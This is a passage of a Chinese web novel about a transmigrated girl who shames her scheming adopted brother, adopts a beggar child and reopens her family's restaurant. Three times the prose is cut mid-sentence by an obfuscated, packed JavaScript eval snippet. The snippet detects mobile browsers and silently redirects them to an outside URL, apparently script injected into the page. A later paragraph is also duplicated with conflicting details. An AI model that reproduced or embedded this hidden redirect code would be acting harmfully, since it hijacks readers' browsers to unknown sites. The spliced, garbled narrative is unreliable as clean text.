若说笼罩在顾宴苏幼时的的阴霾，除却对他百般折辱的叶家人，最痛恨的便是让他先后失去父母的恶棍胡大。 重来一世，他早做好了蛰伏一冬，只待春来，一击必中解决此人的准备。 如今却不必等他如何施为，前世他最厌弃的未婚妻，竟以一种轻而易举的姿态，帮他斩落了这道阴影。 面前少女的美丽容颜和前世别无二致，可前世今生这同一道倩影却好像渐渐分作了截然不同的两个人。 他忘不掉过去的憎，却也挣不脱今世的好，巨大而割裂的反差让他生出一种分不清现实和幻想的荒谬感。 是什么让同一个人，产生了如此大的差别？ 他看着叶扶秋那秋水般明亮的双眸，试图从里面寻到一些蛛丝马迹。 …… 顶着顾宴苏灼灼的目光，叶扶秋莫名有些不好意思，她咳了一声：“你都听到了？” 她想起原著剧情，顾宴苏对胡大恨之入骨，等他有了能力第一个要做的就是为父母报仇，这回先他一步对胡大出了手，他不会有意见吧？ 叶扶秋腹诽着，试探地扬起一个笑：“胡大这混蛋死一万次都不足惜，现在我只能小小的报复他一下，等你以后考上状元了，一定能叫他万劫不复！” 她皱起脸以示凶狠，还挥了下拳头表明她支持顾宴苏的立场。 她都这样说了，男主总不能还怪她吧！ 然而话说完，顾宴苏表情却有些古怪，好像她说了什么奇怪的话，她挠了挠头：“我说错什么了吗？” 顾宴苏沉默片刻，忽然直白道：“叶扶秋，你缘何待我与从前不同？” 叶扶秋心里咯噔一下，警铃大作！ 她和原主性格天差地别，刚穿书时还遮掩过，只是一天天过下去她便放松了警惕，毕竟连爹娘两人都没提过质疑。 可面前的男主，却是她这份变化的最直接体验者。 叶扶秋不想被当妖怪烧了，赶紧敷衍道：“人总会成长的嘛，我以前讨厌你，现在觉得还是叶小宝更讨厌。” “这就叫对比产生美！” 顾宴苏：…… 叶扶秋理不直气也壮，迅速说服了自己：“更何况你长得比他好看，还有学问能帮忙撑场面，对你好点也很合理吧？” 顾宴苏欲言又止，最终还是闭了嘴，什么也没再说。 …… 这边恶人伏法的热闹终于看完，百姓们也渐渐准备散去，叶记门口却忽然声嘶力竭响起一声：“娘！我错了，原谅我吧！” 四下顿时为之侧目，街坊们齐刷刷立起耳朵又转了回来。 只见叶小宝跪在叶母面前：“我是被胡大他们蒙骗才会做出错事，那些都不是我的本意。” 叶母被他拽着裙摆，想到先前他那些吃里扒外的举动，先是愤怒，再是伤心，看着养子跪在地上可怜巴巴的样子，始终狠不下心拒绝，一时竟同他僵持住了。 叶小宝看准了叶母心软，便赶紧趁热打铁道：“娘我真的知错了，这么冷的天，你忍心看我无家可归吗？” 胖墩墩的少年卖乖求饶，还真有不少街坊觉得可怜，竟开始帮腔：“哎呀，小孩犯错情有可原，当娘的哪能这么狠心！” 周围百姓指指点点，叶家人一时间竟成了众矢之的，叶父倒是不心软，骂了这逆子几句却反遭街坊们指责，把他气得脑袋冒烟，简直要背过气去。 “爹！爹你怎么了？！” 叶扶秋忽然一声惊呼吸引了所有人的目光，只见她一个箭步冲到叶父面前扶住他，面色紧张，关切道：“爹消消气，小心您的心疾！” “什——”叶父一愣，刚想说话却被叶扶秋一把按住，她食指在嘴上一竖，小声说，“别说话，听我的。” 她对着叶小宝一声怒骂：“叶家到底哪里对不起你，你要这样害我们！” 叶小宝见她开口，脸色一慌：“你别乱说！” 叶扶秋指着叶父恨恨道：“都怪你这白眼狼，父亲差点被你害死了！” 她痛心疾首道：“都说家丑不可外扬，可我今日偏要说出来，好叫街坊邻居们评评理！” “当年我爹娘心善，从慈济院收养了一个孤儿，还给他取名叫做叶小宝，爹娘对他是如珠似宝，从小极尽溺爱，他要星星就绝不给他月亮，这些绝非虚言，相信各位高邻也都看在眼里。” 安静了许久，人群中忽然响起一道略显稚嫩的声音：“叶小宝，那不是叶记的小霸王吗？” 这话一出，三三两两开始有人应和：“我作证，叶家娘子对这个儿子那是宠的不得了。” “街坊邻里谁没见过，那真是要啥给啥，比对他家亲女儿都好，我还说过呢，哪能这样惯着孩子！” 叶扶秋停顿片刻，高声道：“爹娘这么多年就盼着把他培养成材，好继承叶家香火，哪知道叶家养他十四年，供他衣食无忧，为他延师教诲，可养出的竟是个恩将仇报的中山狼！” “哦？” “大家可知道他做了什么丑事？” “什么？” “他竟然暗中勾结生父，陷害叶家，还要强夺叶家祖产！” “他不是孤儿吗？” “叶家也这样以为，可其实他生父早就悄悄找过来，两人狼狈为奸一拍即合。” “嗬！” “原来这白眼狼的生父竟是臭名昭著的赌棍马四，他和胡大一拍即合，用叶小宝作内应，一心想要搞垮叶记，好抢走叶记祖产！” “嚯~” “没成想我们提前发现了他们的阴谋，叶小宝被赶出叶家，还威胁爹娘要搞死我们，把爹气出心疾，差点要了命！” “好家伙！” “接下来就是大家看到的这一幕了，这叶小宝见胡大倒了台，就赶紧装着认错，瞧准了我娘心善，死乞白赖想回到叶家。对这种忘恩负义之徒，大家说，我们能原谅他吗？” “不能！” “对，不能！” “这养不熟的东西，简直天理难容！” 叶扶秋说书似的一顿输出，街坊们的态度一下子全倒了回来，纷纷唾骂叶小宝不要脸，把他骂的脸色通红，几乎站立不住。 “爹也说点什么吧。”叶扶秋拍拍父亲后背，低声提醒。 在众人一声声支援中，叶显宗的脊背也越挺越直，尤其是叶扶秋在讲述中把他塑造成了一个大公无私的慈父形象，他顺着叶扶秋的话咳了声，严肃道：“承蒙各位高邻关照，今日就请诸位做个见证，叶小宝此子外结□□，内窃家财，实属狼心狗肺之人，我叶家从此和他恩断义绝， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17144018|195504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 今后生死祸福，永不相干。” “这十来年的养育之恩，就全当我叶家喂了豺狼！” “好！” “就该这样。” 周围叫好声一片，叶小宝心知再无机会，面如金纸两股战战，最后只能逃也似的跑到刚被衙役放开的马四身边，低声叫了句“爹”。 马四正疼得面无人色，闻言对他也丝毫没好脸色：“废物！快扶我回去。” 挨完杖刑的胡大与马四一群人，顶着百姓们的唾骂，一瘸一拐灰溜溜的逃了。 叶小宝缀在最后，忍不住回头看向叶记的方向，聚拢着人群的叶记门口热闹非凡，叶记一家三口脸上满是笑容，不知在聊些什么。 一股浓浓的悔意忽然涌上了叶小宝心头。 …… 另一边，叶记终于归于平静，叶家夫妇一整天心情大起大落，疲惫之下先回屋歇息了。 叶扶秋忙活半天也累了，刚伸了个懒腰，就听见顾宴苏轻声问她：“你找了人做托？” 叶扶秋扬眉：“被你发现啦？你怎么知道不是路人？” 顾宴苏摇摇头：“哪有这样巧的事，件件有回应，还句句说在点上，显然有人配合。” “猜对了，是小六配合我演的。”叶扶秋得意，“小六可聪明了。” 她招招手，角落里的小乞儿便屁颠屁颠跑了过来，叶扶秋掐掐他的小黑脸，指着顾宴苏笑眯眯对他道：“给你介绍一下，这是顾宴苏顾案首，将来是要考状元的，小六想不想考状元呀？” 小六看看面无表情的顾宴苏，摇了摇头：“不想。” 叶扶秋一愣：“为何不想，读书考状元，以后过好日子不好吗？” 小六黑葡萄似的大眼睛眨了眨：“小六不想读书。” 叶扶秋皱眉：“那你想做什么？” “我想……”小六犹豫，看到叶扶秋鼓励的眼神，才鼓起勇气自荐道，“我想跟着秋秋姐，想留在叶记，我能帮秋秋姐干活，干很多很多的活！” 叶扶秋一阵怔忪，小六这些时日帮了她不少忙，瞧着孩子可怜，她便准备同父母说收养小六，供他读书，却不成想这孩子懂事的让人心疼。 摸了摸小六的头，叶扶秋声音温柔道：“小孩子就是要读书的呀，小六以后就留在叶家好不好？不用干活，以后你就把叶记当家，和顾哥哥一起读书。” 忽然被点名的顾宴苏表情一怔，叶扶秋戳戳他：“顾哥哥会教小六读书，对不对？” 顶着叶扶秋催促的目光，顾宴苏无奈点了点头。 小男孩平日滴溜溜转的眸子定住，呆呆的睁大了眼：“秋秋姐愿意留下我？” “对呀，小六这么乖，以后咱们就是一家人了。” 收养小六，一是因他乖巧又可怜，二来则是因为叶小宝。 叶母养了他十余年，闹成现在这样难免容易伤怀，叶扶秋可不想哪天见到母亲心软再把他迎回。收养小六，便是希望母亲移情，不要再为那白眼狼难过。 把沉浸在惊喜中显得有些傻乎乎的小孩丢给顾宴苏，叶扶秋朝他挥挥手：“好啦，这小泥猴就交给你了，把他洗涮干净，我先去做饭了。” 她说完转身就去了厨房，全然不顾身后一大一小，大眼瞪着小眼，针尖对麦芒的样子。 22. 一日三餐 小六是个流浪的乞儿，身上难免邋遢。既然决定把他留下，当然不能让他再脏下去，而叶扶秋毕竟是异性，给他洗澡的任务就只能交给顾宴苏了。 只是，让男主带孩子，他俩不会打起来吧？ 叶扶秋心里直乐，她看得出来，顾宴苏和小六不怎么对付，可总不能让她给小六洗澡吧？ 噗呲。 叶扶秋憋住笑，从脑补中回神，取出大碗淘起米来。 忙活一天，她肚子饿得咕咕直叫唤，就想赶紧吃点热乎乎的饭菜。 懒得折腾，随意挑了些食材，便准备做最简单的一锅出——萝卜焖饭。 先泡上干香菇，香菇独特的鲜味会让焖饭的鲜香加倍，叶扶秋想到香菇泡发后那肥厚柔韧的口感就开始流口水，这香菇要是做好了，简直比肉还好吃。 如今农历二月还有窖藏的萝卜能吃，青白的大萝卜洗净后切丁，再取出块肥瘦相间的咸肉切成薄片，晶莹的油脂透着一种圆融的光泽，一看就香的不得了。 这时候香菇也发好了，同样切丁，和萝卜腊肉一起倒进锅里炒香，滋啦滋啦，大锅里一瞬间溅起油花，白烟裹着香浓的气味扑面而来，馋得叶扶秋恨不得现在就偷吃两口。 倒进淘好的大米，再倒些泡香菇的水——香菇水可是好东西，精华都浓缩在汤里了。 放些盐，再加盖焖煮两炷香功夫，热腾腾、香喷喷的腊肉萝卜焖饭就新鲜出炉了，最后撒点葱花点缀，再淋上一勺子猪油，油润的香气顷刻扑满整间屋子。 “好香啊！” 一个小脑袋从门缝里探进来，叶扶秋回头一看，被洗得白白净净的小六站在门外，鼻子翕动，满脸都是渴望。 再一看他身后站的顾宴苏，少年衣衫半湿，额发黏糊糊贴在颊边，显得很是狼狈，他面色透着不爽，鼻子却也和小六一样，不自觉嗅着空气里的香味。 叶扶秋偷笑，打趣道：“小泥猴洗成白萝卜啦？快来吃吧，饭里有你的同类哦。” 又冲顾宴苏弯弯眼睛：“让你洗他，怎么把自己也洗了？快去换身干衣裳，回来再吃，我给你留着。” 顾宴苏不自然的“嗯”了一声，转身换衣服去，等他再回来就见着小六抱着只大碗埋头苦吃，啊呜啊呜，一边还夸着：“太好吃了，以后我也要学着做给秋秋姐吃！” 顾宴苏蹙眉瞥了他一眼，忍不住暗骂：“谄媚。” “什么？”叶扶秋没听清。 “没什么。”顾宴苏噤了声，接过叶扶秋递来的碗，坐下也吃了起来。 他一口热饭菜吃下去，只觉得全身心都被治愈了，肉、菜、饭一锅出，精华全融入在这一口里，油润丰富的口感让顾宴苏一口接一口，一碗饭下去大半，才稍稍分出精力，看到小六对着叶扶秋大夸特夸的样子，他犹豫半晌，最终还是轻声赞了句：“人间至味。” 要不是叶扶秋恰好回头看他一眼，都听不到他这声夸，闻言坏笑起来：“不愧是文人，吃个饭都文绉绉的。” 顾宴苏面上浮出一缕薄红，握拳抵着唇轻咳一下，垂眸不自然地盯着碗又不说话了。 叶扶秋心里桀桀直笑，少年老成的男主原来也有这么容易害羞的时候，想到原著里他翻手为云、覆手为雨的冷戾性格，不由觉得如今这段难得的赏味期少年模样着实难得。 她促狭道：“还是读书人说话中听，顾案首，再夸几句呗？” 顾宴苏：…… 他不说话，小六却抢着答：“让我来夸！秋秋姐做的饭是全夏朝最好吃的！” 叶扶秋笑得合不拢嘴：“呀，看来还是小六说话最中听。” 顾宴苏：“……一箸入口，千金不换。” 叶扶秋啪啪鼓起掌：“说的好！哈哈哈哈哈！” 没想到顾宴苏还真配合她又夸了一句，她终于忍不住开怀大笑，羞得少年瞪了她一眼，再坐不下去，端着碗就逃走了。 “哎你去哪？”叶扶秋凤眼含笑，象征性抬手喊他，见唤不回人便作罢，回头看到眼巴巴盯着她的小六，伸手摸狗似的撸了一把小孩脑袋：“吃你的。” …… 没了胡大骚扰，叶记终于继续开门营业，客人们期盼已久，一个个欣喜不已，开张的第一个早市，店里很快就坐满了客人。 初春刚至，寒风料峭，屋里却感受不到一丝冷意，每桌客人面前都摆满了餐食，新鲜出炉的粥点正冒着白烟，交谈声、碗筷碰撞声不绝于耳，整个叶记都充斥着热闹的烟火气。 “陈大叔来啦，好久不见。” 叶扶秋端着盘子手脚麻利地给客人上菜，百忙之中竟还能分神和认识的客人打招呼，那人从前来得不算频繁，没想到竟也能被店家记住，顿时惊喜地招了招手：“哎，小东家竟然记得我？” 叶扶秋抱着托盘抿嘴一笑：“您也是熟客了，哪能记不得，今天还是老样子，一碗砂汤，三块糍糕？” 客人听得舒心，连连点头：“对，就是老样子！” “好嘞，您稍坐，马上就来。” 她笑容甜甜，转身就回了后厨，没听见身后客人们攀谈的声音： “要我说啊，还得是叶记这小东家，自打她接了她爹的烂摊子，这生意却是好了不少。” “可不说呢，咱们街坊邻里谁以前没搁叶记吃过饭，都是几十年的老主顾了，结果好好一个饭馆，硬在她爹手上给败了，我看着都可惜，还好有这小姑娘。” “前头她爹娘专宠那胖儿子，这丫头也是可怜，爹不疼娘不爱的，还好她自己争气，硬是有本事把家业给撑起来了。” “对啊对啊，听说叶记这些新吃食，可全都是这丫头弄出来的！” “嚯，这么有本事，真是巾帼不让须眉啊。” 叶扶秋进到后厨，叶父正干劲满满炸着糍糕，滋啦油溅声不绝于耳，浓浓的油脂香味混着白烟争先涌出，旁边大桶里是一颗颗圆润饱满的琥珀鸡蛋，浓郁酱香馋得人口水直咽，更别提灶上一直温着的砂汤，香醇浓厚，鲜美的滋味让人垂涎三尺。 叶母端着账册一个个数着客人的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17151881|195504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点单，一边催促着叶父：“还差六块糍糕，五个麻圆，你炸快点啊！” “在炸了！在炸了！” 就连才九岁的小六都没闲着，叶扶秋多次劝他去读书无果，小孩跟着她满屋子打转，努力想帮忙。 “三号桌要添一对碗筷……” 叶扶秋忙得脚不沾地，刚准备去取，就见面前钻出来一个小萝卜头，捧着碗筷伸长了手要递给她。 看着小六不安又企盼的眼神，叶扶秋无奈一笑，接过东西，按了小孩脑袋一下：“行吧，今天实在是忙，你就留下来帮帮我吧。” 小孩这才一下子欢天喜地起来，满怀干劲当起了小跑堂。 叶扶秋看着这道小小的背影发起呆，直到食客的呼喊声唤回她的注意：“老板，再来两个琥珀蛋、一碗及第粥。” “哎，来啦~” 叶扶秋重拾起热情，满面笑容迎了过去，而整个叶记上下，也迎来了前所未有的新生，每个人各行其事，一切都欣欣向荣。 然而当客人们逐渐养成了来叶记吃朝食的习惯后，叶记却忽然在客人最多的时候宣布停业三天，一时间店里炸开了锅。 “生意好好的，关门做什么？” 一个年轻男人率先发问，顿时引起了大家的讨论，众说纷纭，全都在疑惑为什么要闭店。 叶扶秋举手引来众人目光：“大家先听我说。” 她笑意盈然：“诸位客人是知道的，我们叶记原先并不只做朝食，这次闭店是为了修缮升级，等饭馆重新营业以后就要开始供应三餐啦，同时呢，叶记还有一件大事将要颁布，至于具体是什么事，先卖个关子，三天以后见分晓！” 她这一说，客人们更加好奇了，有期待的，却也有质疑的：“叶记之前做三餐的时候简直是猪食，还贵！卖朝食做的好好的，为啥又要做三餐？” 叶扶秋听着质疑声，有条不紊坦然道：“大家且放宽心，新生的叶记绝不会辜负大家的信任，这段时日承蒙各位关照，为表诚意，今日来店的每位客人，都可以得到叶记的优惠券一张。” “何为优惠券啊？” 叶扶秋狡黠一笑：“凭券来店就餐可打三折，还送精美伴手礼一份哦！” 叶记此举算是相当有诚意了，在场的食客听说有便宜赚，立马对新叶记充满了期待。 闭店这三天，没了叶记特色朝食吃的客人们简直度日如年。 而叶扶秋在忙碌之余还印了一大摞传单，雇了一帮子闲汉，街头巷尾到处发传单，传单上不仅有新叶记的广告，还印上了到店有礼的优惠券。 仅三天时间，客人们口耳相传，叶记的优惠券竟成了全县最大的热闹。 闭店的最后一个夜晚，叶扶秋熄灭油灯，关上叶记大门，迎着晦暗的月光，向家的方向走去。 身后是她倾尽心血重新修缮的饭馆，房檐上新换的牌匾挂了红布，只等着明日揭开面纱，一阵风吹散迷雾，她的前路，顿时云开月明。 明天，属于她的小饭馆，就要开业了。 23. 及第馆 三月初八，暮春时节，满树琼花竞相绽放，被绵绵的雨丝打落了一地的花瓣，辰时过半，日头才刚从细密的云雾里钻出，安安静静地驱走越城空气中氤氲的湿冷。 “这都三月了，怎么还这样冷。” 行路人抱怨着，快步向前，身边同伴裹紧身上灰褐色的薄袄，踏过被一夜春雨浸透的石板路，嘴里念叨：“快走吧别啰嗦了，马上要错过叶记开门了！” 等两人终于走到叶记，老远就听见鞭炮声噼里啪啦炸响，叶记门口热热闹闹围了一圈人，全在等叶记开门。 来的刚刚好。 行路人松了口气，踮着脚探头往人群包围圈里看去，只见中间围了个杂耍班子，五个人叠成罗汉，最顶上两人一男一女，下面男人倒立着撑在师兄背上，上面女的则金鸡独立站在他倒过来的脚上，身段轻巧而柔韧，手里还抛着六个彩球，接连不断，动作灵活极了。 德庆班几人像是会飞一样，上上下下惊得围观的百姓惊呼声不断。 边上还有奏乐的，鼓师傅乐师傅配合默契，咚咚锵锵既热闹又有节奏，叫人觉得眼前表演惊险又刺激，间断的鼓声敲得人心砰砰直跳。 接近吉时，杂耍终于演完，一道悠长的钟声忽然敲响，女台柱像是飞鸟投林般一个闪身跃上房梁，便听有人大喊：“吉时已到。” 身段窈窕的女台柱“唰”一下扯下牌匾上的红布，金灿灿的“及第馆”三个大字映入眼帘，陌生的字眼让人群顿时哗然一片。 “叶记怎么改名了？” “是换东家了？不像啊。” “没换，你瞧那左上角不是还有俩小字写了‘叶记’嘛！” 路人再仔细一看，牌匾左上角原来还有“叶记”两个小字，大小虽不及“及第馆”一半，却别出心裁用了另一种字体书写，清晰又显眼，叫人一看便知这是叶家的产业。 叶扶秋手上举了个自制的喇叭：“诸位客官，大家好！” “今日是我叶记及第馆开业的日子，承蒙各位高邻不弃，叶记从一间即将倒闭的破败饭馆，到卖起朝食自救，再到今日更名及第馆，没有诸位的支持是万万不可能的。” 她说着心里有些感慨，自打她穿书来到这个时代，叶记饭馆全由她一手打造，饭馆的每一点每一滴都出自她的心血，从一开始只为自救，到如今重开饭馆，叶扶秋颇有种乐在其中的感觉。 打叶记做朝食那天，她就无时无刻不在思考，要如何把饭馆重开起来，一路走来惩治胡大、赶走养弟，又废了百般功夫，耗费无数心血，才终将饭馆打造成如今的模样。 她吸了吸鼻子，重整旗鼓扬起满面笑容对着客人们大声道：“为了感谢客人们的光临，叶记开门大酬宾，前三天到店消费只需半价，凭优惠券到店还可享受对应优惠哦！” 这些都是传单上说过的，没甚新鲜，有着急的客人大喊着：“就这？” 叶扶秋神秘一笑：“当然不止这些。” 她“啪啪”拍了一下掌，身后便钻出来一个小人，小六手里捧着个朱红色纸箱，纸箱上掏出了一个洞，叶扶秋指着箱子：“今日还有抽奖活动，进店消费就可抽奖一次，凡抽必中，另外消费满一百文即可抽奖一次，多抽多送，欢迎大家来试。” 有人大着胆子来问：“有什么奖品？可别是不值钱的小玩意来消遣大家！” “客人大可放心，奖品丰厚，不会让您失望的。” “这次的奖品分为一二三等奖，三等奖中奖率为六成，为赠菜券，凭券下回来店可送招牌小菜一道，二等奖中奖率为三成，奖品有价值三百文的霸王餐券，还有店里秘制的时令礼盒等等，至于一等奖嘛……” 叶扶秋忽然微笑着停顿了一下，急得周围客人催促连连：“哎呀别卖关子了，小东家快说吧！” 等到吸引了所有人的注意，叶扶秋终于公布答案：“一等奖可得本店贵宾卡一枚，有效期一年，来店吃饭永久半价！” “除此之外，获得一等奖的幸运客人，还将享有叶记主厨私宴一次，这是为叶记尊贵的客人量身打造、独一无二的宴席，绝对尊享的体验，包您宾至如归！” “哇！” 又是独一无二又是绝对尊享，叶扶秋三言两语勾的客人们心头痒痒的，这奖品不一定值多少钱，可稀缺的就是最好的，谁不想抽着一等奖，好和亲朋好友炫耀上几句？ 宣布完开业活动，又是一阵敲锣打鼓声，叶记欢天喜地开门迎客，期待已久的客人们终于等到这一刻，门一开，便蜂拥而至挤了进去。 但叶记其实面积并不大，哪里能容得下那么多客人，没抢到座位的客人们顿时吵了起来：“喂，你起来！” “凭什么？我才不起！” “是我先来的。” “你胡说，明明是我先来的！” 叶扶秋皱起眉，明明已经做足了准备，没想到还会出现这样的意外，不过好在她早做有预案，立马招呼着提前雇来的帮闲维持秩序，又对没抢到位置的食客道：“这位客人实在不好意思，咱们店面小位置确实不够，还请您到外面等位区稍坐，这边备好了茶水和零嘴，您可以边吃边等。” 有脾气好的被安抚下去，半信半疑跟着她去到店外，只见叶记侧门边不知何时架起了几支大伞，伞下整整齐齐摆了几张简单的桌椅，桌上有瓜子、果脯、还有几样认不出是什么的小点。 一个圆头圆脑的小男孩穿着身干净的深蓝色夹袄，端着一壶热茶，叶扶秋把客人引到椅子坐下，手一抬还没说话，那小孩就眼睛一亮，踏着小碎步跑过来了：“客人，请您用茶。” 叶扶秋赞许的看了小六一眼，孩子年纪虽小却实在机灵，不让他干活都拦不住，叶扶秋只好让他做些简单的活计，不过店里忙成这样，不得不承认，有他在还真帮了叶记不少忙。 客人接过茶盏，简单的白瓷，不名贵，却胜在简洁雅致，杯中琥珀色的茶汤冒着白烟，嗅起来竟有股锅巴似的焦香，摇晃一下，杯底隐隐能看见些褐色的米粒状物体。 不是茶叶？ 客人有些疑惑，吹了吹，又试探着喝上一口，入口是醇厚微苦、暖烘烘的焦香，温润顺滑的液体还带着谷物和陈皮的回甘，茶汤滚入喉头，暖意从喉咙到胃部，把满身湿冷都驱散开了。 “呼……” 客人慨叹着呼出一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156833|195504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道白气，问道：“这是什么，好像有点陈皮的味道？” “客人好见识，这是本店秘制的‘和气’茶，用陈皮和炒米熬制的，温和理气，最合适现在这个时节了。” 客人等位的烦闷被和气茶一扫而空，又去看旁边小桌上放的点心拼盘，除去瓜子还有杏脯、桃脯、裹了糖霜的花生，以及一些炸成金黄色的面片。 这茶点种类可不少！ 客人不可思议地问叶扶秋：“这都是不要钱的？” 叶扶秋点点头：“客人尽管吃，叫您久等本就是小店的不是，这些小点若能讨您原谅一二，便是叶记之幸了。” 既然她都这样说了，客人也高兴起来，伸手拿向那熟悉又陌生的片状点心，薄薄的、裹了花生和芝麻碎，看起来很诱人：“这是何物？” 没等叶扶秋介绍，他先咬了一口，金黄色薄如蝉翼的面片在嘴里“咔嚓咔嚓”，三两下就被嚼得粉碎，一时间满口都是面片的焦香，口唇中还萦绕着坚果特有的香气，简直美味极了。 “这是叶记特制的黄金片哦。”叶扶秋笑着介绍。 古代其实是有麻片的，脆麻片或香麻片，各种叫法不一而足，食材往往只用面粉和盐，揉成面团再擀成大片炸制。 叶扶秋做的却与寻常做法不同，她在面粉里加了鸡蛋和山楂磨成的干粉，使得成品色泽更美更酥脆，滋味也更加丰富，而山楂天然的果酸可以软化面筋，使炸出来的面片更为薄脆，半点不显油腻。 面片被切成大小整齐的方型，因为刷了薄薄的蜂蜜水，使表面上撒的芝麻和花生碎黏的更为牢固，炸出来的麻片才能有这样丰富的口感，还带着一丝微甜的回味。 “真香啊！”客人赞不绝口，吃块黄金片再喝口和气茶，等位的那一点子怨气烟消云散，没得比这更好的等待体验了。 叶扶秋笑眯眯又递给他一张装裱精致的菜单，上面用精致的小楷写了菜名，底下还有小字写明这道菜所包含的食材，客人想的到的、想不到的全写上，主打一个清清楚楚、明明白白，包管不让食客产生一丝困惑。 客人念着菜单上的类目：“时令风物、下饭家常、玲珑小食……你这菜单倒是别致，这么多种类呢。” “那是自然，我们及第馆这回可是做足了准备的！”叶扶秋骄傲道，“我们的菜单还会持续更新，按时令不断推陈出新，这样您每个月来都能吃到新鲜的菜式。” “好好好！” 她又递过去另一张提前印好的、薄一些的菜单，只写了菜名，后面画上黑框：“您可以提前把菜点好，有想要的就在黑框里画勾，这样我们也好提前备菜，叫您上桌以后无需再等待太久。” “您再翻到反面去，上面还有葱姜蒜等选项，若有忌口，也一应勾选即可。” 这一连番操作下来，原本还对叶记有些不信任的客人也是彻底服气了，这样独一无二的小饭馆从前哪在这小县城里见过，比起府城怕也不差分毫了。 不，恐怕连府城最出名的会仙楼都做不到这样。 客人心里浮想联翩，看着叶记热闹的景象，心中竟不由生出一种自豪感：这可是他们越城的饭馆！ 24. 腌笃鲜 叶扶秋像个陀螺，团团转挨个安抚等位区的客人，客人们对这有着崭新模式饭馆疑问连连，她感觉自己像是幼儿园老师，一个个给他们解释店里的各种新鲜事物。 有人忍不住问：“小东家，这么多不要钱的吃食，你们不会亏吗？莫不是只开业这几天才有这些东西？” 叶扶秋闻言大方解释道：“等位区福利是一直有的，至于亏本嘛，坦白和您说，成本确实不低，所以还望您各位多支持我们叶记的生意。” 这成本说是高，但其实不如旁人猜测的那般多，香麻片是叶扶秋自己做的，每片切得极薄，纵是吃一大碗，实际也没多少重量，只上面撒的花生芝麻碎成本贵些，但毕竟是零嘴，没几人会逮着这些非得吃饱。 就算有那贪图便宜的，吃完给他缓缓再上，也不会过于耗费。 瓜子果脯倒是外边买的，那日惩治胡大，炒货店老板半卖半送了不少，叶扶秋觉得味道不错，便和他达成了采购协议，按售价的七成供给叶记。炒货店老板本不同意，叶扶秋和他还了半天价，最后说叶记不卖只送，若有客人喜欢就推荐去他家购买，相当于是给他打了广告，这才让老板同意。 叶扶秋大致算过，等位区每位客人分摊的成本约要一二十文，看着是不少，可相比留下客人到饭馆消费，能回报的银两可就远远不止了。不过这些都是粗算，还得等营业几日才能具体算出成本。 客人们还是头一回见到这么大方的饭馆，县里人大多淳朴，还真有点不好意思多吃，唯独一个健壮的中年汉子在那边大快朵颐，很快吃完一盆子麻片：“老板，能不能给我再上点这黄金片。” 那人穿着破了洞的粗布衣裳，脚底下布鞋磨得几乎要通了，瞧着是个干苦力的。 见他一副寒酸的样子，周围食客不由露出鄙夷的眼神，把那汉子看得黑脸上透出一道薄红，他梗着脖子冲周围人嚷嚷：“看什么看！人店家都说了可以随便吃！” 叶扶秋连忙安抚：“客人莫急，马上就来。” 赶紧给小六使眼色给他续上黄金片，有旁的客人冷嘲热讽：“小东家别给他拿，这人一看就是来打秋风的，肯定吃完零嘴就跑了。” 粗衣莽汉脸涨得通红：“你胡说什么！” 叶扶秋皱起眉，总不好看到客人在店门口打起来，她连声安抚道：“客官莫恼，咱家等位区的吃食就是供大家吃的，不妨事。” 主家都不在意，那客人哼了一声，便也没再多说，莽汉得了黄金片，也不再分辨，只红着脸低头自顾着吃。 一场争端消弭，叶扶秋见这边无事，终于安下心，回大堂去了。 因是老店新开，店面不大，也没多聘人，只临时招了一个跑堂，紧急培训了两天就上岗了。 后厨仍由叶父掌着，他本是祖传的厨艺，只这些年心思没放在正途，手艺才逐渐荒废，叶扶秋穿来以后天天盯着他勤练，新菜单上每道菜都也都经过叶扶秋把关，现在便无需太过担心；叶母负责管账，经过叶扶秋耳提面命反复提点，叶记的账簿终于严谨了不少；叶扶秋自己则当起叶记大管家，跑前跑后什么都管一点。 现在唯独不放心的，就是大堂，因是老店新开，店面不大，也没多聘人，只临时招了一个跑堂，紧急培训了三天就来上岗了。 从侧门绕进店里，只见桌桌爆满，客人们脸上表情各异，有等菜等到不耐烦的，有吃菜吃到满嘴油光的，也有抽奖中了大奖正在欢呼的，总之就是人声鼎沸，喧嚣声几乎要顶破房顶。 跑堂小二陈河忙得脚不沾地，这边刚给六号桌客人点完菜，十二号桌又要加菜，那边九号桌忙中添乱还喊着叫他再倒几杯茶水来。 陈河只觉得脑袋都快吵炸了！ 叶记的东家把他从牙行里招过来的时候，可没说生意会这么好，他还想着一个寻常小饭馆，能有多忙碌？ “陈河，四号桌的菜好了！” “哎，来了。” 